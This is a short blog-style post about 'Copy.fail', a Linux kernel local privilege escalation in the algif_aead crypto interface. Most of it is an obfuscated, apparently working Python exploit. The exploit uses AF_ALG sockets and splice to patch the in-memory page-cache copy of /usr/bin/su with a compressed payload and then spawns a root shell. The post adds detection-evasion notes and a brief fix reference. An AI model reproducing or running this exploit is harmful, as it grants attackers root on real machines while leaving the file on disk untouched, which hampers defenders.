Copy.fail CVE
Thoughts
I thought this was an absolute crazy find. It allows anyone to become root by modifying something in memory, so it is nearly untraceable. You can read more at copy.fail. Basically anything linux based that was updated between 2017 and 2026 is vulnerable to this.
This is a local privilege escalation — it requires an existing low-privilege shell on the target machine, whether physical or remote (e.g. via SSH).
I have not run this before, so idk how well it works. This is for research purposes only. Do NOT run this on any systems you do not own, and inspect any code yourself before running it. This is obviously heavily obfuscated, so even more reason to be careful with it.
Source code
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Check your linux kernel version to know if you are affected or not
uname -r.
The fix is reverting the 2017 algif_aead in-place optimization in the commit a664bf3d603d, so just make sure your kernel version includes that change.
Reasons it’s so hard to detect
- The file on disk is never touched. Only the kernel’s cached copy in memory is.
- No write syscall is ever made against the file itself
- Permission checks are bypassed entirely. You only need read access to the file
- The SUID bit on /usr/bin/su remains valid, so executing the patched in-memory version runs as root